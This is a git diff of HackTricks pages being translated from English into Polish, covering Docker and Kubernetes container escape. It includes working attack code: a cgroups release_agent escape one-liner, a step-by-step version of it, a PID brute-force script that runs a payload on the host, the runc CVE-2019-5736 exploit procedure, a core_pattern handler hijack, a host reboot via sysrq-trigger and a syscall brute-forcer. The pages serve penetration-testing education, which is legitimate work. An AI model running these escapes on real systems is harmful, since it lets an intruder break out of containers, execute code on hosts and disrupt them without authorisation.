SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access). +Będziesz również w stanie uzyskać dostęp do **usług sieciowych powiązanych z localhost** wewnątrz hosta lub nawet uzyskać dostęp do **uprawnień metadanych węzła** (które mogą różnić się od tych, do których kontener ma dostęp). ### hostIPC - ```bash docker run --rm -it --ipc=host ubuntu bash ``` +Z `hostIPC=true` zyskujesz dostęp do zasobów komunikacji międzyprocesowej (IPC) hosta, takich jak **pamięć dzielona** w `/dev/shm`. Umożliwia to odczyt/zapis, gdzie te same zasoby IPC są używane przez inne procesy hosta lub pod. Użyj `ipcs`, aby dokładniej zbadać te mechanizmy IPC. -With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further. +- **Sprawdź /dev/shm** - Szukaj plików w tej lokalizacji pamięci dzielonej: `ls -la /dev/shm` +- **Sprawdź istniejące obiekty IPC** – Możesz sprawdzić, czy jakieś obiekty IPC są używane za pomocą `/usr/bin/ipcs`. Sprawdź to za pomocą: `ipcs -a` -- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` -- **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` - -### Recover capabilities - -If the syscall **`unshare`** is not forbidden you can recover all the capabilities running: +### Przywróć uprawnienia +Jeśli wywołanie systemowe **`unshare`** nie jest zabronione, możesz przywrócić wszystkie uprawnienia, uruchamiając: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` +### Nadużycie przestrzeni nazw użytkownika za pomocą symlink -### User namespace abuse via symlink +Druga technika opisana w poście [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) wskazuje, jak można nadużyć montowania powiązań z przestrzeniami nazw użytkownika, aby wpłynąć na pliki wewnątrz hosta (w tym konkretnym przypadku, usunąć pliki). -The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files). +## CVE -
+### Eksploit Runc (CVE-2019-5736) -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +W przypadku, gdy możesz wykonać `docker exec` jako root (prawdopodobnie z sudo), spróbuj podnieść uprawnienia, uciekając z kontenera, nadużywając CVE-2019-5736 (eksploit [tutaj](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Ta technika zasadniczo **nadpisze** binarny plik _**/bin/sh**_ **hosta** **z kontenera**, więc każdy, kto wykonuje docker exec, może uruchomić ładunek. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - -## CVEs - -### Runc exploit (CVE-2019-5736) - -In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. - -Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ -Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: +Zmień ładunek odpowiednio i zbuduj main.go za pomocą `go build main.go`. Otrzymany plik binarny powinien być umieszczony w kontenerze docker do wykonania.\ +Po wykonaniu, gdy tylko wyświetli `[+] Overwritten /bin/sh successfully`, musisz wykonać następujące polecenie z maszyny hosta: `docker exec -it /bin/sh` -This will trigger the payload which is present in the main.go file. +To uruchomi ładunek, który jest obecny w pliku main.go. -For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +Aby uzyskać więcej informacji: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) > [!NOTE] -> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +> Istnieją inne CVE, na które kontener może być podatny, możesz znaleźć listę w [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) -## Docker Custom Escape +## Niestandardowe ucieczki Docker -### Docker Escape Surface +### Powierzchnia ucieczki Docker -- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs). -- **Root user**: By default the user running the process is the root user (however its privileges are limited). -- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape. +- **Przestrzenie nazw:** Proces powinien być **całkowicie oddzielony od innych procesów** za pomocą przestrzeni nazw, więc nie możemy uciec, wchodząc w interakcję z innymi procesami z powodu przestrzeni nazw (domyślnie nie mogą komunikować się za pomocą IPC, gniazd unixowych, usług sieciowych, D-Bus, `/proc` innych procesów). +- **Użytkownik root**: Domyślnie użytkownik uruchamiający proces to użytkownik root (jednak jego uprawnienia są ograniczone). +- **Uprawnienia**: Docker pozostawia następujące uprawnienia: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +- **Syscall**: To są syscally, które **użytkownik root nie będzie mógł wywołać** (z powodu braku uprawnień + Seccomp). Inne syscally mogą być użyte do próby ucieczki. {{#tabs}} {{#tab name="x64 syscalls"}} - ```yaml 0x067 -- syslog 0x070 -- setsid @@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x140 -- kexec_file_load 0x141 -- bpf ``` - {{#endtab}} {{#tab name="arm64 syscalls"}} - ``` 0x029 -- pivot_root 0x059 -- acct @@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x111 -- finit_module 0x118 -- bpf ``` - {{#endtab}} {{#tab name="syscall_bf.c"}} - ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape int main() { - for(int i = 0; i < 333; ++i) - { - if(i == SYS_rt_sigreturn) continue; - if(i == SYS_select) continue; - if(i == SYS_pause) continue; - if(i == SYS_exit_group) continue; - if(i == SYS_exit) continue; - if(i == SYS_clone) continue; - if(i == SYS_fork) continue; - if(i == SYS_vfork) continue; - if(i == SYS_pselect6) continue; - if(i == SYS_ppoll) continue; - if(i == SYS_seccomp) continue; - if(i == SYS_vhangup) continue; - if(i == SYS_reboot) continue; - if(i == SYS_shutdown) continue; - if(i == SYS_msgrcv) continue; - printf("Probando: 0x%03x . . . ", i); fflush(stdout); - if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) - printf("Error\n"); - else - printf("OK\n"); - } +for(int i = 0; i < 333; ++i) +{ +if(i == SYS_rt_sigreturn) continue; +if(i == SYS_select) continue; +if(i == SYS_pause) continue; +if(i == SYS_exit_group) continue; +if(i == SYS_exit) continue; +if(i == SYS_clone) continue; +if(i == SYS_fork) continue; +if(i == SYS_vfork) continue; +if(i == SYS_pselect6) continue; +if(i == SYS_ppoll) continue; +if(i == SYS_seccomp) continue; +if(i == SYS_vhangup) continue; +if(i == SYS_reboot) continue; +if(i == SYS_shutdown) continue; +if(i == SYS_msgrcv) continue; +printf("Probando: 0x%03x . . . ", i); fflush(stdout); +if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) +printf("Error\n"); +else +printf("OK\n"); +} } ``` + ```` {{#endtab}} @@ -633,12 +574,12 @@ int main() If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): - Find the **path of the containers filesystem** inside the host - - You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit +- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit - Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens - - You should be able to **execute the trigger from inside the host** - - You need to know where the containers files are located inside the host to indicate a script you write inside the host +- You should be able to **execute the trigger from inside the host** +- You need to know where the containers files are located inside the host to indicate a script you write inside the host - Have **enough capabilities and disabled protections** to be able to abuse that functionality - - You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container +- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References @@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) - [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 7d16ec4a4..3db27d0a8 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -2,10 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary: +**Aby uzyskać więcej szczegółów, zapoznaj się z** [**oryginalnym wpisem na blogu**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** To jest tylko podsumowanie: Original PoC: - ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` +Dowód koncepcji (PoC) demonstruje metodę wykorzystania cgroups poprzez utworzenie pliku `release_agent` i wywołanie go w celu wykonania dowolnych poleceń na hoście kontenera. Oto podział kroków zaangażowanych w ten proces: -The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved: - -1. **Prepare the Environment:** - - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup. - - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative. - +1. **Przygotowanie środowiska:** +- Tworzony jest katalog `/tmp/cgrp`, który służy jako punkt montowania dla cgroup. +- Kontroler cgroup RDMA jest montowany do tego katalogu. W przypadku braku kontrolera RDMA, sugeruje się użycie kontrolera cgroup `memory` jako alternatywy. ```shell mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` - -2. **Set Up the Child Cgroup:** - - A child cgroup named "x" is created within the mounted cgroup directory. - - Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file. - +2. **Ustawienie Cgroup Dziecka:** +- Cgroup dziecka o nazwie "x" jest tworzona w zamontowanym katalogu cgroup. +- Powiadomienia są włączone dla cgroup "x" poprzez zapisanie 1 do pliku notify_on_release. ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` - -3. **Configure the Release Agent:** - - The path of the container on the host is obtained from the /etc/mtab file. - - The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path. - +3. **Skonfiguruj agenta wydania:** +- Ścieżka kontenera na hoście jest uzyskiwana z pliku /etc/mtab. +- Plik release_agent cgroup jest następnie konfigurowany do wykonania skryptu o nazwie /cmd znajdującego się w uzyskanej ścieżce hosta. ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -4. **Create and Configure the /cmd Script:** - - The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified. - +4. **Utwórz i skonfiguruj skrypt /cmd:** +- Skrypt /cmd jest tworzony wewnątrz kontenera i jest skonfigurowany do wykonywania ps aux, przekierowując wyjście do pliku o nazwie /output w kontenerze. Pełna ścieżka do /output na hoście jest określona. ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` - -5. **Trigger the Attack:** - - A process is initiated within the "x" child cgroup and is immediately terminated. - - This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container. - +5. **Wyzwól Atak:** +- Proces jest inicjowany w "x" dziecinnym cgroup i natychmiast kończony. +- To wyzwala `release_agent` (skrypt /cmd), który wykonuje ps aux na hoście i zapisuje wynik do /output w kontenerze. ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 5c3c57d9f..b99960a76 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -1,27 +1,26 @@ {{#include ../../../../banners/hacktricks-training.md}} -For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary: +Aby uzyskać więcej szczegółów **sprawdź bloga pod adresem [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. To tylko podsumowanie: -The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings. +Technika opisuje metodę **wykonywania kodu hosta z wnętrza kontenera**, pokonując wyzwania związane z konfiguracjami sterowników pamięci, które ukrywają ścieżkę systemu plików kontenera na hoście, takie jak Kata Containers lub specyficzne ustawienia `devicemapper`. -Key steps: +Kluczowe kroki: -1. **Locating Process IDs (PIDs):** Using the `/proc//root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host. -2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc//root/`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container. -3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file. +1. **Lokalizacja identyfikatorów procesów (PID):** Używając symbolicznego linku `/proc//root` w pseudo-systemie plików Linux, można uzyskać dostęp do dowolnego pliku w kontenerze w odniesieniu do systemu plików hosta. To omija potrzebę znajomości ścieżki systemu plików kontenera na hoście. +2. **Bashing PID:** Zastosowano podejście brute force do przeszukiwania PID na hoście. Robi się to, sprawdzając kolejno obecność konkretnego pliku w `/proc//root/`. Gdy plik zostanie znaleziony, wskazuje to, że odpowiadający PID należy do procesu działającego wewnątrz docelowego kontenera. +3. **Wywołanie wykonania:** Zgadnięta ścieżka PID jest zapisywana w pliku `cgroups release_agent`. Ta akcja wywołuje wykonanie `release_agent`. Sukces tego kroku potwierdza się, sprawdzając utworzenie pliku wyjściowego. -### Exploitation Process +### Proces eksploatacji -The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds: +Proces eksploatacji obejmuje bardziej szczegółowy zestaw działań, mających na celu wykonanie ładunku na hoście poprzez zgadywanie poprawnego PID procesu działającego wewnątrz kontenera. Oto jak to się rozwija: -1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation. -2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable. -3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. -4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`. -5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution. - -PoC from the blog post: +1. **Inicjalizacja środowiska:** Skrypt ładunku (`payload.sh`) jest przygotowywany na hoście, a unikalny katalog jest tworzony do manipulacji cgroup. +2. **Przygotowanie ładunku:** Skrypt ładunku, który zawiera polecenia do wykonania na hoście, jest zapisany i uczyniony wykonywalnym. +3. **Ustawienie cgroup:** Cgroup jest montowany i konfigurowany. Flaga `notify_on_release` jest ustawiona, aby zapewnić, że ładunek zostanie wykonany, gdy cgroup zostanie zwolniony. +4. **Brute Force PID:** Pętla iteruje przez potencjalne PID, zapisując każdy zgadnięty PID w pliku `release_agent`. To skutecznie ustawia skrypt ładunku jako `release_agent`. +5. **Wywołanie i sprawdzenie wykonania:** Dla każdego PID zapisywane jest `cgroup.procs` cgroup, co wywołuje wykonanie `release_agent`, jeśli PID jest poprawny. Pętla trwa, aż znajdzie się wyjście skryptu ładunku, co wskazuje na pomyślne wykonanie. +PoC z wpisu na blogu: ```bash #!/bin/sh @@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -81,5 +80,4 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 718263059..9a0b0f7c6 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -1,182 +1,174 @@ -# Sensitive Mounts +# Wrażliwe montaże {{#include ../../../../banners/hacktricks-training.md}} -
+Ekspozycja `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw wprowadza znaczące ryzyko bezpieczeństwa, w tym powiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które, jeśli są źle skonfigurowane lub dostępne dla nieautoryzowanego użytkownika, mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji wspomagających dalsze ataki. Na przykład, niewłaściwe zamontowanie `-v /proc:/host/proc` może obejść ochronę AppArmor z powodu swojej opartej na ścieżkach natury, pozostawiając `/host/proc` bez ochrony. -{% embed url="https://websec.nl/" %} +**Szczegóły dotyczące każdej potencjalnej luki można znaleźć w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** -The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected. - -**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** - -## procfs Vulnerabilities +## Luki w procfs ### `/proc/sys` -This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern: +Ten katalog pozwala na modyfikację zmiennych jądra, zazwyczaj za pomocą `sysctl(2)`, i zawiera kilka subkatalogów budzących niepokój: #### **`/proc/sys/kernel/core_pattern`** -- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`. -- **Testing and Exploitation Example**: +- Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). +- Umożliwia zdefiniowanie programu do wykonania przy generowaniu pliku core, z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`. +- **Przykład testowania i eksploatacji**: - ```bash - [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access - cd /proc/sys/kernel - echo "|$overlay/shell.sh" > core_pattern # Set custom handler - sleep 5 && ./crash & # Trigger handler - ``` +```bash +[ -w /proc/sys/kernel/core_pattern ] && echo Tak # Test dostępu do zapisu +cd /proc/sys/kernel +echo "|$overlay/shell.sh" > core_pattern # Ustaw niestandardowy handler +sleep 5 && ./crash & # Wywołaj handler +``` #### **`/proc/sys/kernel/modprobe`** -- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Contains the path to the kernel module loader, invoked for loading kernel modules. -- **Checking Access Example**: +- Szczegółowo opisany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Zawiera ścieżkę do ładowarki modułów jądra, wywoływanej do ładowania modułów jądra. +- **Przykład sprawdzania dostępu**: - ```bash - ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe - ``` +```bash +ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe +``` #### **`/proc/sys/vm/panic_on_oom`** -- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs. +- Wspomniane w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killera, gdy występuje warunek OOM. #### **`/proc/sys/fs`** -- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system. -- Write access can enable various denial-of-service attacks against the host. +- Zgodnie z [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), zawiera opcje i informacje o systemie plików. +- Dostęp do zapisu może umożliwić różne ataki typu denial-of-service przeciwko hostowi. #### **`/proc/sys/fs/binfmt_misc`** -- Allows registering interpreters for non-native binary formats based on their magic number. -- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable. -- Relevant exploit and explanation: - - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - - In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +- Umożliwia rejestrowanie interpreterów dla nienatywnych formatów binarnych na podstawie ich magicznego numeru. +- Może prowadzić do eskalacji uprawnień lub dostępu do powłoki root, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny. +- Istotny exploit i wyjaśnienie: +- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) +- Szczegółowy samouczek: [Link do wideo](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### Others in `/proc` +### Inne w `/proc` #### **`/proc/config.gz`** -- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled. -- Useful for attackers to identify vulnerabilities in the running kernel. +- Może ujawniać konfigurację jądra, jeśli `CONFIG_IKCONFIG_PROC` jest włączone. +- Przydatne dla atakujących do identyfikacji luk w działającym jądrze. #### **`/proc/sysrq-trigger`** -- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions. -- **Rebooting Host Example**: +- Umożliwia wywoływanie poleceń Sysrq, co może powodować natychmiastowe ponowne uruchomienia systemu lub inne krytyczne działania. +- **Przykład ponownego uruchamiania hosta**: - ```bash - echo b > /proc/sysrq-trigger # Reboots the host - ``` +```bash +echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta +``` #### **`/proc/kmsg`** -- Exposes kernel ring buffer messages. -- Can aid in kernel exploits, address leaks, and provide sensitive system information. +- Ujawnia komunikaty z bufora pierścieniowego jądra. +- Może pomóc w exploitach jądra, wyciekach adresów i dostarczyć wrażliwych informacji o systemie. #### **`/proc/kallsyms`** -- Lists kernel exported symbols and their addresses. -- Essential for kernel exploit development, especially for overcoming KASLR. -- Address information is restricted with `kptr_restrict` set to `1` or `2`. -- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Wymienia eksportowane symbole jądra i ich adresy. +- Kluczowe dla rozwoju exploitów jądra, szczególnie w celu pokonania KASLR. +- Informacje o adresach są ograniczone, gdy `kptr_restrict` jest ustawione na `1` lub `2`. +- Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/[pid]/mem`** -- Interfaces with the kernel memory device `/dev/mem`. -- Historically vulnerable to privilege escalation attacks. -- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Interfejs z urządzeniem pamięci jądra `/dev/mem`. +- Historycznie podatny na ataki eskalacji uprawnień. +- Więcej na [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/kcore`** -- Represents the system's physical memory in ELF core format. -- Reading can leak host system and other containers' memory contents. -- Large file size can lead to reading issues or software crashes. -- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). +- Reprezentuje fizyczną pamięć systemu w formacie ELF core. +- Odczyt może ujawniać zawartość pamięci systemu hosta i innych kontenerów. +- Duży rozmiar pliku może prowadzić do problemów z odczytem lub awarii oprogramowania. +- Szczegółowe użycie w [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). #### **`/proc/kmem`** -- Alternate interface for `/dev/kmem`, representing kernel virtual memory. -- Allows reading and writing, hence direct modification of kernel memory. +- Alternatywny interfejs dla `/dev/kmem`, reprezentujący wirtualną pamięć jądra. +- Umożliwia odczyt i zapis, a zatem bezpośrednią modyfikację pamięci jądra. #### **`/proc/mem`** -- Alternate interface for `/dev/mem`, representing physical memory. -- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses. +- Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną. +- Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga rozwiązania adresów wirtualnych na fizyczne. #### **`/proc/sched_debug`** -- Returns process scheduling information, bypassing PID namespace protections. -- Exposes process names, IDs, and cgroup identifiers. +- Zwraca informacje o planowaniu procesów, omijając zabezpieczenia przestrzeni nazw PID. +- Ujawnia nazwy procesów, identyfikatory i identyfikatory cgroup. #### **`/proc/[pid]/mountinfo`** -- Provides information about mount points in the process's mount namespace. -- Exposes the location of the container `rootfs` or image. +- Dostarcza informacji o punktach montowania w przestrzeni 